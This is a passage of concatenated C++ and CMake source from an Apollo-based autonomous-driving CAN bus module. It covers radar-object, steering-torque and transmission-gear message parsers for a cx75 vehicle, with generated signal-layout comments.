'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x480480* set_mrr_r_object_dx(double mrr_r_object_dx); // config detail: {'name': 'MRR_R_Object_dy', 'enum': {511: 'MRR_R_OBJECT_DY_NO_OBJECT'}, 'precision': 0.0625, 'len': 9, 'is_signed_var': False, 'offset': -15.0, 'physical_range': '[-15|15]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x480480* set_mrr_r_object_dy(double mrr_r_object_dy); // config detail: {'name': 'MRR_R_Obj_0x_class', 'enum': {0: 'MRR_R_OBJ_0X_CLASS_UNKNOWN', 1: 'MRR_R_OBJ_0X_CLASS_CAR', 2: 'MRR_R_OBJ_0X_CLASS_TRUCK', 3: 'MRR_R_OBJ_0X_CLASS_TWO_WHEELER'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 42, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x480480* set_mrr_r_obj_0x_class(Mrr_frobj_0x480_480::Mrr_r_obj_0x_classType mrr_r_obj_0x_class); // config detail: {'name': 'MRR_LeftTargrtDetection', 'enum': {0: 'MRR_LEFTTARGRTDETECTION_NOT_DECTECTED', 1: 'MRR_LEFTTARGRTDETECTION_DECTECTED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x480480* set_mrr_lefttargrtdetection(Mrr_frobj_0x480_480::Mrr_lefttargrtdetectionType mrr_lefttargrtdetection); // config detail: {'name': 'MRR_RightTargrtDetection', 'enum': {0: 'MRR_RIGHTTARGRTDETECTION_NOT_DECTECTED', 1: 'MRR_RIGHTTARGRTDETECTION_DECTECTED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x480480* set_mrr_righttargrtdetection(Mrr_frobj_0x480_480::Mrr_righttargrtdetectionType mrr_righttargrtdetection); // config detail: {'name': 'MRR_L_Object_dx', 'enum': {4095: 'MRR_L_OBJECT_DX_NO_OBJECT'}, 'precision': 0.0625, 'len': 12, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255.875]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x480480* set_mrr_l_object_dx(double mrr_l_object_dx); private: // config detail: {'name': 'MRR_L_Object_dy', 'enum': {511: 'MRR_L_OBJECT_DY_NO_OBJECT'}, 'precision': 0.0625, 'len': 9, 'is_signed_var': False, 'offset': -15.0, 'physical_range': '[-15|15]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_l_object_dy(uint8_t* data, double mrr_l_object_dy); // config detail: {'name': 'MRR_L_Obj_0x_class', 'enum': {0: 'MRR_L_OBJ_0X_CLASS_UNKNOWN', 1: 'MRR_L_OBJ_0X_CLASS_CAR', 2: 'MRR_L_OBJ_0X_CLASS_TRUCK', 3: 'MRR_L_OBJ_0X_CLASS_TWO_WHEELER'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_l_obj_0x_class(uint8_t* data, Mrr_frobj_0x480_480::Mrr_l_obj_0x_classType mrr_l_obj_0x_class); // config detail: {'name': 'MRR_R_Object_dx', 'enum': {4095: 'MRR_R_OBJECT_DX_NO_OBJECT'}, 'precision': 0.0625, 'len': 12, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255.875]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_r_object_dx(uint8_t* data, double mrr_r_object_dx); // config detail: {'name': 'MRR_R_Object_dy', 'enum': {511: 'MRR_R_OBJECT_DY_NO_OBJECT'}, 'precision': 0.0625, 'len': 9, 'is_signed_var': False, 'offset': -15.0, 'physical_range': '[-15|15]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_r_object_dy(uint8_t* data, double mrr_r_object_dy); // config detail: {'name': 'MRR_R_Obj_0x_class', 'enum': {0: 'MRR_R_OBJ_0X_CLASS_UNKNOWN', 1: 'MRR_R_OBJ_0X_CLASS_CAR', 2: 'MRR_R_OBJ_0X_CLASS_TRUCK', 3: 'MRR_R_OBJ_0X_CLASS_TWO_WHEELER'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 42, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_r_obj_0x_class(uint8_t* data, Mrr_frobj_0x480_480::Mrr_r_obj_0x_classType mrr_r_obj_0x_class); // config detail: {'name': 'MRR_LeftTargrtDetection', 'enum': {0: 'MRR_LEFTTARGRTDETECTION_NOT_DECTECTED', 1: 'MRR_LEFTTARGRTDETECTION_DECTECTED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_lefttargrtdetection(uint8_t* data, Mrr_frobj_0x480_480::Mrr_lefttargrtdetectionType mrr_lefttargrtdetection); // config detail: {'name': 'MRR_RightTargrtDetection', 'enum': {0: 'MRR_RIGHTTARGRTDETECTION_NOT_DECTECTED', 1: 'MRR_RIGHTTARGRTDETECTION_DECTECTED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_righttargrtdetection(uint8_t* data, Mrr_frobj_0x480_480::Mrr_righttargrtdetectionType mrr_righttargrtdetection); // config detail: {'name': 'MRR_L_Object_dx', 'enum': {4095: 'MRR_L_OBJECT_DX_NO_OBJECT'}, 'precision': 0.0625, 'len': 12, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255.875]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_l_object_dx(uint8_t* data, double mrr_l_object_dx); private: double mrr_l_object_dy_; Mrr_frobj_0x480_480::Mrr_l_obj_0x_classType mrr_l_obj_0x_class_; double mrr_r_object_dx_; double mrr_r_object_dy_; Mrr_frobj_0x480_480::Mrr_r_obj_0x_classType mrr_r_obj_0x_class_; Mrr_frobj_0x480_480::Mrr_lefttargrtdetectionType mrr_lefttargrtdetection_; Mrr_frobj_0x480_480::Mrr_righttargrtdetectionType mrr_righttargrtdetection_; double mrr_l_object_dx_; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_MRR_FROBJ_0X480_480_H_ <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(fake_can_client fake_can_client.cc fake_can_client.h) target_link_libraries(fake_can_client can_client)<file_sep>/****************************************************************************** * Copyright 2017 The Apollo Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_EPS_ADVANCED_0X176_176_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_EPS_ADVANCED_0X176_176_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Epsadvanced0x176176 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Epsadvanced0x176176(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'EPS_LKAResponseTorque', 'enum': {2047: 'EPS_LKARESPONSETORQUE_INVALID'}, 'precision': 0.01, 'len': 11, 'is_signed_var': False, 'offset': -10.24, 'physical_range': '[-10.24|10.22]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} double eps_lkaresponsetorque(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_TosionBarTorqueValid', 'enum': {0: 'EPS_TOSIONBARTORQUEVALID_VAILD', 1: 'EPS_TOSIONBARTORQUEVALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 12, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_advanced_0x176_176::Eps_tosionbartorquevalidType eps_tosionbartorquevalid(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_LKAResponseTorqueValid', 'enum': {0: 'EPS_LKARESPONSETORQUEVALID_VAILD', 1: 'EPS_LKARESPONSETORQUEVALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 16, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_advanced_0x176_176::Eps_lkaresponsetorquevalidType eps_lkaresponsetorquevalid(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_LDWControlStatus', 'enum': {0: 'EPS_LDWCONTROLSTATUS_DEACTIVATED', 1: 'EPS_LDWCONTROLSTATUS_INACTIVE', 2: 'EPS_LDWCONTROLSTATUS_ACTIVE', 3: 'EPS_LDWCONTROLSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 28, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_advanced_0x176_176::Eps_ldwcontrolstatusType eps_ldwcontrolstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_PAM_SteeringSts_Reserved', 'enum': {0: 'EPS_PAM_STEERINGSTS_RESERVED_STEERING_POSITION_IS_OK', 1: 'EPS_PAM_STEERINGSTS_RESERVED_STEERING_POSITION_IS_ADJUSTING'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 29, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_advanced_0x176_176::Eps_pam_steeringsts_reservedType eps_pam_steeringsts_reserved(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_LKAControlStatus', 'enum': {0: 'EPS_LKACONTROLSTATUS_NO_REQUEST', 1: 'EPS_LKACONTROLSTATUS_REQUEST_HONORED', 2: 'EPS_LKACONTROLSTATUS_CONTROL_REQUEST_NOT_ALLOWED_TEMPORARILY', 3: 'EPS_LKACONTROLSTATUS_CONTROL_REQUEST_NOT_ALLOWED_PERMANENT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_advanced_0x176_176::Eps_lkacontrolstatusType eps_lkacontrolstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_EPSPAMInh', 'enum': {0: 'EPS_EPSPAMINH_NORMAL_OPERATION', 1: 'EPS_EPSPAMINH_OVER_SPEED', 2: 'EPS_EPSPAMINH_DRIVER_INTERFERENCE', 4: 'EPS_EPSPAMINH_ABNORMAL_CAN_INPUT', 16: 'EPS_EPSPAMINH_EPS_FAILURE', 8: 'EPS_EPSPAMINH_EXCESS_ANGLE_DEVIATION'}, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} //Eps_advanced_0x176_176::Eps_epspaminhType eps_epspaminh(const std::uint8_t* bytes, const int32_t length) const; int eps_epspaminh(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_counter_0x176', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x176(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_EPSPAMSts', 'enum': {0: 'EPS_EPSPAMSTS_INHIBIT', 1: 'EPS_EPSPAMSTS_AVAILABLE', 2: 'EPS_EPSPAMSTS_ACTIVE', 3: 'EPS_EPSPAMSTS_ABORT', 4: 'EPS_EPSPAMSTS_REPLY_FOR_CONTROL', 5: 'EPS_EPSPAMSTS_NRCD_ACTIVE', 6: 'EPS_EPSPAMSTS_ADAS_ACTIVE', 7: 'EPS_EPSPAMSTS_FAILURE'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_advanced_0x176_176::Eps_epspamstsType eps_epspamsts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Checksum_0x176', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x176(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_TorsionBarTorque', 'offset': -10.24, 'precision': 0.01, 'len': 11, 'is_signed_var': False, 'physical_range': '[-10.24|10.22]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'Nm'} double eps_torsionbartorque(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_EPS_ADVANCED_0X176_176_H_ <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/gw_tcu_gearinfo_0x123_123.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Gwtcugearinfo0x123123::Gwtcugearinfo0x123123() {} const int32_t Gwtcugearinfo0x123123::ID = 0x123; void Gwtcugearinfo0x123123::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_displaygear(tcu_displaygear(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_gearselectorreq(tcu_gearselectorreq(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_transpmotoparkreqinvalid(tcu_transpmotoparkreqinvalid(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_gearshiftinprogress(tcu_gearshiftinprogress(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_shiftleverpos_sbwm(tcu_shiftleverpos_sbwm(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_targetgearreq(tcu_targetgearreq(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_available(tcu_available(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_driverintervention(tcu_driverintervention(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_trsmfaultflag(tcu_trsmfaultflag(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_stgearmode(tcu_stgearmode(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_driving_mode_req(tcu_driving_mode_req(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_epblockreq(tcu_epblockreq(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_highresistance(tcu_highresistance(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_drivingmodechange_fault_flag(tcu_drivingmodechange_fault_flag(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_shiftlevertopreqinvalid(tcu_shiftlevertopreqinvalid(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_status_alivecounter0x123(tcu_status_alivecounter0x123(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_transpmotorparkreq(tcu_transpmotorparkreq(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_shiftlevertopreq(tcu_shiftlevertopreq(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_status_checksum0x123(tcu_status_checksum0x123(bytes, length)); chassis->mutable_cx75()->mutable_gw_tcu_gearinfo_0x123_123()->set_tcu_currentgearposition(tcu_currentgearposition(bytes, length)); } // config detail: {'name': 'tcu_displaygear', 'enum': {0: 'TCU_DISPLAYGEAR_CURRENT_GEAR_N', 1: 'TCU_DISPLAYGEAR_GEAR_1', 2: 'TCU_DISPLAYGEAR_GEAR_2', 3: 'TCU_DISPLAYGEAR_GEAR_3', 4: 'TCU_DISPLAYGEAR_GEAR_4', 5: 'TCU_DISPLAYGEAR_GEAR_5', 6: 'TCU_DISPLAYGEAR_GEAR_6', 7: 'TCU_DISPLAYGEAR_GEAR_7', 8: 'TCU_DISPLAYGEAR_GEAR_8', 9: 'TCU_DISPLAYGEAR_CURRENT_GEAR_D', 10: 'TCU_DISPLAYGEAR_CURRENT_GEAR_L', 11: 'TCU_DISPLAYGEAR_CURRENT_GEAR_R', 12: 'TCU_DISPLAYGEAR_RESERVED', 13: 'TCU_DISPLAYGEAR_CURRENT_GEAR_P', 14: 'TCU_DISPLAYGEAR_RESERVED', 15: 'TCU_DISPLAYGEAR_INVALID'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_displaygearType Gwtcugearinfo0x123123::tcu_displaygear(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 4); Gw_tcu_gearinfo_0x123_123::Tcu_displaygearType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_displaygearType>(x); return ret; } // config detail: {'name': 'tcu_gearselectorreq', 'enum': {0: 'TCU_GEARSELECTORREQ_P', 1: 'TCU_GEARSELECTORREQ_L_RESERVED', 2: 'TCU_GEARSELECTORREQ_2_RESERVED', 3: 'TCU_GEARSELECTORREQ_3_RESERVED', 5: 'TCU_GEARSELECTORREQ_D', 6: 'TCU_GEARSELECTORREQ_N', 7: 'TCU_GEARSELECTORREQ_R', 8: 'TCU_GEARSELECTORREQ_M', 15: 'TCU_GEARSELECTORREQ_INVALID'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_gearselectorreqType Gwtcugearinfo0x123123::tcu_gearselectorreq(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(4, 4); Gw_tcu_gearinfo_0x123_123::Tcu_gearselectorreqType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_gearselectorreqType>(x); return ret; } // config detail: {'name': 'tcu_transpmotoparkreqinvalid', 'enum': {0: 'TCU_TRANSPMOTOPARKREQINVALID_VALID', 1: 'TCU_TRANSPMOTOPARKREQINVALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_transpmotoparkreqinvalidType Gwtcugearinfo0x123123::tcu_transpmotoparkreqinvalid(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(3, 1); Gw_tcu_gearinfo_0x123_123::Tcu_transpmotoparkreqinvalidType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_transpmotoparkreqinvalidType>(x); return ret; } // config detail: {'name': 'tcu_gearshiftinprogress', 'enum': {0: 'TCU_GEARSHIFTINPROGRESS_NOGEARSHIFTINPROGRESS', 1: 'TCU_GEARSHIFTINPROGRESS_GEARSHIFTINPROGRESS'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 20, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_gearshiftinprogressType Gwtcugearinfo0x123123::tcu_gearshiftinprogress(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(4, 1); Gw_tcu_gearinfo_0x123_123::Tcu_gearshiftinprogressType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_gearshiftinprogressType>(x); return ret; } // config detail: {'name': 'tcu_shiftleverpos_sbwm', 'enum': {0: 'TCU_SHIFTLEVERPOS_SBWM_P', 1: 'TCU_SHIFTLEVERPOS_SBWM_D', 2: 'TCU_SHIFTLEVERPOS_SBWM_N', 3: 'TCU_SHIFTLEVERPOS_SBWM_R', 4: 'TCU_SHIFTLEVERPOS_SBWM_M', 5: 'TCU_SHIFTLEVERPOS_SBWM_BLANK', 6: 'TCU_SHIFTLEVERPOS_SBWM_RESERVED', 7: 'TCU_SHIFTLEVERPOS_SBWM_INVALID'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ' '} Gw_tcu_gearinfo_0x123_123::Tcu_shiftleverpos_sbwmType Gwtcugearinfo0x123123::tcu_shiftleverpos_sbwm(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(5, 3); Gw_tcu_gearinfo_0x123_123::Tcu_shiftleverpos_sbwmType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_shiftleverpos_sbwmType>(x); return ret; } // config detail: {'name': 'tcu_targetgearreq', 'enum': {0: 'TCU_TARGETGEARREQ_DRIVETRAINOPEN_GEARN', 1: 'TCU_TARGETGEARREQ_1STGEAR', 2: 'TCU_TARGETGEARREQ_2NDGEAR', 3: 'TCU_TARGETGEARREQ_3RDGEAR', 4: 'TCU_TARGETGEARREQ_4THGEAR', 5: 'TCU_TARGETGEARREQ_5THGEAR', 6: 'TCU_TARGETGEARREQ_6THGEAR', 7: 'TCU_TARGETGEARREQ_7THGEAR', 8: 'TCU_TARGETGEARREQ_8THGEAR', 14: 'TCU_TARGETGEARREQ_REVERSEGEAR', 15: 'TCU_TARGETGEARREQ_INVALID'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 3, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_targetgearreqType Gwtcugearinfo0x123123::tcu_targetgearreq(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 4); Gw_tcu_gearinfo_0x123_123::Tcu_targetgearreqType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_targetgearreqType>(x); return ret; } // config detail: {'name': 'tcu_available', 'enum': {0: 'TCU_AVAILABLE_NOTAVAILABLE', 1: 'TCU_AVAILABLE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 32, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_availableType Gwtcugearinfo0x123123::tcu_available(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 1); Gw_tcu_gearinfo_0x123_123::Tcu_availableType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_availableType>(x); return ret; } // config detail: {'name': 'tcu_driverintervention', 'enum': {0: 'TCU_DRIVERINTERVENTION_NOINTERVENTION', 1: 'TCU_DRIVERINTERVENTION_DRIVERINTERVENTION'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 33, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_driverinterventionType Gwtcugearinfo0x123123::tcu_driverintervention(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(1, 1); Gw_tcu_gearinfo_0x123_123::Tcu_driverinterventionType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_driverinterventionType>(x); return ret; } // config detail: {'name': 'tcu_trsmfaultflag', 'enum': {0: 'TCU_TRSMFAULTFLAG_NORMAL', 1: 'TCU_TRSMFAULTFLAG_FAILURE_NOLIMP_HOME', 2: 'TCU_TRSMFAULTFLAG_FAIL_LIMP_HOMEACTIVATED', 3: 'TCU_TRSMFAULTFLAG_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_trsmfaultflagType Gwtcugearinfo0x123123::tcu_trsmfaultflag(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(2, 2); Gw_tcu_gearinfo_0x123_123::Tcu_trsmfaultflagType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_trsmfaultflagType>(x); return ret; } // config detail: {'name': 'tcu_stgearmode', 'enum': {0: 'TCU_STGEARMODE_STANDARD', 1: 'TCU_STGEARMODE_SNOW', 2: 'TCU_STGEARMODE_MANUAL_RESERVED', 3: 'TCU_STGEARMODE_SPORT', 4: 'TCU_STGEARMODE_ECO', 5: 'TCU_STGEARMODE_4L', 7: 'TCU_STGEARMODE_WETMUD', 8: 'TCU_STGEARMODE_SAND', 9: 'TCU_STGEARMODE_GHAT', 13: 'TCU_STGEARMODE_MANUAL', 14: 'TCU_STGEARMODE_ATSFAULTTCU', 15: 'TCU_STGEARMODE_INVALID'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_stgearmodeType Gwtcugearinfo0x123123::tcu_stgearmode(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(4, 4); Gw_tcu_gearinfo_0x123_123::Tcu_stgearmodeType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_stgearmodeType>(x); return ret; } // config detail: {'name': 'tcu_driving_mode_req', 'enum': {0: 'TCU_DRIVING_MODE_REQ_NORMAL', 1: 'TCU_DRIVING_MODE_REQ_SNOW', 2: 'TCU_DRIVING_MODE_REQ_NOUSED', 3: 'TCU_DRIVING_MODE_REQ_SPORT', 4: 'TCU_DRIVING_MODE_REQ_ECO', 5: 'TCU_DRIVING_MODE_REQ_4L', 6: 'TCU_DRIVING_MODE_REQ_ROCK', 7: 'TCU_DRIVING_MODE_REQ_WETMUD', 8: 'TCU_DRIVING_MODE_REQ_SAND', 14: 'TCU_DRIVING_MODE_REQ_SWITCHFAULT', 15: 'TCU_DRIVING_MODE_REQ_INVALID'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 43, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_driving_mode_reqType Gwtcugearinfo0x123123::tcu_driving_mode_req(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 4); Gw_tcu_gearinfo_0x123_123::Tcu_driving_mode_reqType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_driving_mode_reqType>(x); return ret; } // config detail: {'name': 'tcu_epblockreq', 'enum': {0: 'TCU_EPBLOCKREQ_NO_REQUEST', 1: 'TCU_EPBLOCKREQ_REQUEST_PARK_BRAKE_ENGAGE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 44, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} 